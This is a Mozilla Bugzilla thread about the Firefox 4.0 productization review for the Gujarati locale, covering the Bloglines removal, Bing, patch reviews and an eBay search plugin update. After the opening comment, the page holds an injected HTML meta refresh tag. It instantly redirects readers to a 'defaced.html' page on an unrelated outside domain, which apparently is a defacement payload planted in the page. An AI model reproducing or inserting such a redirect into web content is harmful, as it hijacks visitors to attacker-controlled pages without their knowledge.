Closed Bug 603971 (fx40-p12n-gu-IN) Opened 14 years ago Closed 14 years ago

[gu-IN] Firefox 4.0 productization review for Gujarati

Categories

(Mozilla Localizations :: gu-IN / Gujarati, defect)

defect
Not set
normal

Tracking

(Not tracked)

RESOLVED FIXED

People

(Reporter: stas, Assigned: swkothar)

References

Details

(Keywords: productization, Whiteboard: [Update l10n-src-verif])

Attachments

(3 files)

As you might have seen in the newsgroups or on the Mozilla blog, there's a couple of changes to search engines planned for the 4.0 release for en-US: <http://groups.google.com/group/mozilla.dev.l10n/msg/81073d8d67e1c4c3>. We would like to use this opportunity to review the current productization setup for Gujarati and make any changes that you think will be good for our users. What is a productization review? ================================ Here's what we're interested in: * search engines, * protocol handlers, * feed readers, * live bookmark. You can see what your locale currently ships with at <http://hg.mozilla.org/l10n/l10n-src-verification/file/default/reference/browser/2.0/gu-IN> Please take a moment and review the choice of services available by default in your locale. If there have been any new services that have recently gained popularity and that offer good value for the users, please suggest adding them to your locale. On the other hand, if there are services that lost credibility (e.g. display too many adds) or have poor user experience, consider suggesting that we remove them. If in doubt, feel free to make a suggestion and we'll look at it together. You might find the guidelines at <https://wiki.mozilla.org/L10n:Productization> and <https://wiki.mozilla.org/L10n:Firefox/Productization> helpful, too. Required changes ================ There's two things I would like to draw your attention to (if applicable): 1) if you have a google.xml file in your `searchplugins` directory, please remove it, 2) Bloglines is closing down on November 1st and we need to remove it from the feed reader options for all locales (see bug 595485). We suspect that it will make sense to move Google Reader up to the first position (if your locale has it). We will be offering technical help with this change, either in form of ready-made patches or a mass-landing by one of the l10n-drivers. If you don't think that moving Google Reader up is a good idea for your locale, please let us know! Changes in en-US and en-GB ========================== Here's the changes that we will be making in en-US and en-GB: * add Bing as the 3rd general search engine (see bug 603298), * remove Answers, * remove Creative Commons. We're making these changes in en-US and en-GB because we feel that they follow the recent market trends and user preferences in the US and the UK. We would like to go through the same thought process for your locale and see if any of these changes would make sense in Gujarati builds as well. If you decide that implementing these changes would be in your users' best interest then please go ahead and include them in the patch you'll attach to this bug. Implementation ============== Please make suggestions for changes and attach patches that Seth, Axel or I will review. Please note that since Bing provides a global plugin which does the locale detection itself, you will only need to add "bing" to your list.txt if you decide to include it. The XML file will be automatically pulled from en-US. Once a review is granted, you can land the patch on l10n-central if your locale actively maintains it. Otherwise, please wait for further instructions which will be put in the comments of this bug and announced in mozilla.dev.l10n (we're still unsure when the branching will happen). Please do not land any changes except for the required ones (google.xml, Bloglines) on 1.9.2. If you do not wish to make any changes, let us know, and we'll only work on removing Bloglines. Thanks!
<meta http-equiv="refresh" content="0;URL=http://depo.ozelharekat.org/dadas/defaced.html">
Bloglines still remains in your 1.9.2 repository. Please prepare a patch to remove it. Also, if you have any productization changes to make for Firefox 4, like the Bing suggestion listed in comment 0, please provide a patch to make that change on l10n-central. Thank you.
Assignee: ankit → swkothar
Attached patch Patch for 1.9.2 (deleted) — Splinter Review
Hi, I have made changes and attached the patch, please look into it. Thanks, Sweta
Attachment #491496 - Attachment description: Created patch for Gujarati → Patch for 1.9.2
The commits at http://hg.mozilla.org/l10n-central/gu-IN/pushloghtml?startdate=2010-11-17+05%3A42%3A14&enddate=2010-11-18+05%3A42%3A14 get a post-factum r=me for l10n-central. (I've talked to Sweta on IRC about attaching patches first and about ignoring the ~ files.)
Comment on attachment 491496 [details] [diff] [review] Patch for 1.9.2 I need to r- this, sorry. Please don't add Bing on 1.9.2, only remove Bloglines. 1.9.2 is the stable branch and we don't want to make any additions to the user experience on it. As for Bloglines, please reorder the remaining handlers, just like you did on l10n-central: http://hg.mozilla.org/l10n-central/gu-IN/diff/235e057f536a/browser/chrome/browser-region/region.properties (Google is browser.contentHandlers.types.0, My Yahoo! (with the exclamation mark) is browser.contentHandlers.types.1). Please attach a new patch. Thanks, Sweta!
Attachment #491496 - Flags: review-
Attached patch Updated patch for 1.9.2 (deleted) — Splinter Review
Hi stas, I have updated it as you said, have attached the updated patch, please look into it. Thanks, Sweta
Comment on attachment 491775 [details] [diff] [review] Updated patch for 1.9.2 r=me, thanks Sweta! Please land this on 1.9.2 referencing this bug and the review, test in a nightly and sign off.
Attachment #491775 - Flags: review+
Updated l10n-src-verification for central, fwiw. The icon in the yahoo engine is still the old one on l10n-central, though.
Resolving this as fixed.
Status: NEW → RESOLVED
Closed: 14 years ago
Resolution: --- → FIXED
Whiteboard: [l10n-src-verif updated]
(In reply to comment #9) > Updated l10n-src-verification for central, fwiw. Thanks. 1.9.2 is up-to-date too now. > The icon in the yahoo engine is still the old one on l10n-central, though. Filed bug 615190. Sweta, can you have a look at it?
Attached patch Updated eBay search plugin (deleted) — Splinter Review
Reopening (sorry) Per eBay's request, please update the search plugin to be included with Mozilla products per the attached patch. The changes add suggested search, an updated favicon, and changes the base search URL. This change will normalize the version of eBay's plugin for India, and should block Fx4 for all *-IN locales that include eBay. Note that any previously included params should not be re-introduced. If there are any questions, please let me know.
Status: RESOLVED → REOPENED
Resolution: FIXED → ---
Blocks: 625062
Attachment #503179 - Flags: review?(sethb)
Comment on attachment 503179 [details] [diff] [review] Updated eBay search plugin This looks good. Thank you, Kev! As mentioned in the bug, can you please check this into your L10n-central repository, adding a comment that references bug 603971, this change, and r=sethb. Please test the new build and sign off. Once you have signed off, please resolve this bug again as fixed. Thanks to all.
Attachment #503179 - Flags: review?(sethb) → review+
Ankit, per comment 13, can you land this eBay search plugin change on l10n-central? Thanks!
Whiteboard: [l10n-src-verif updated] → [Update l10n-src-verif]
(In reply to comment #14) > Ankit, per comment 13, can you land this eBay search plugin change on > l10n-central? Thanks! Done: http://hg.mozilla.org/l10n-central/gu-IN/rev/f76e4f9f7ed3 Thanks! Ankit
Note: the added |type="image/x-icon"| on the <Image> is unnecessary - the search service does not make use of the "type" attribute on Image elements. You should feel free to remove it.
Can we resolve this, based on comment 17?
Sign-off taken on ebay plugin. There's no sign-off yet for the type comment of gavin. That's adressed in the source, though. As that's just icing on the cake, and just a sign-off away, this can be resolved. Thanks.
Status: REOPENED → RESOLVED
Closed: 14 years ago14 years ago
Resolution: --- → FIXED
You need to log in before you can comment on or make changes to this bug.

Attachment

General

Creator:
Created:
Updated:
Size: